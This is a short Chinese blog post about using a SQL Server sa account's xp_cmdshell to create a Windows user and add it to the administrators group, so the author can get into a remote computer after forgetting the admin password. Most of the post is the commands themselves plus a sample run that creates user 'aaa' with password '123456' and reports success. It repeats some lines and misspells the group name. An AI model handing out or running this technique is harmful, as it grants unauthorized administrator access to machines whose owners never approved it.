通过sql sa用户为系统增加用户
作者:freethy 发布于:2015-3-18 10:35 Wednesday
有sa权限,但忘了系统administrator的密码,可否通过查询分析器,写程序,
在系统中增加administrators组的成员,以可以进入远程电脑!
在系统中增加administrators组的成员,以可以进入远程电脑!
xp_cmdshell 'net user username password /add'
xp_cmdshell 'net localgroup aministrators username /add'
xp_cmdshell 'net localgroup aministrators username /add'
用户名aaa 密码123456
exec [xp_cmdshell] 'net user aaa 123456 /add'
output
命令成功完成。
NULL
NULL
(所影响的行数为 3 行)
output
命令成功完成。
NULL
NULL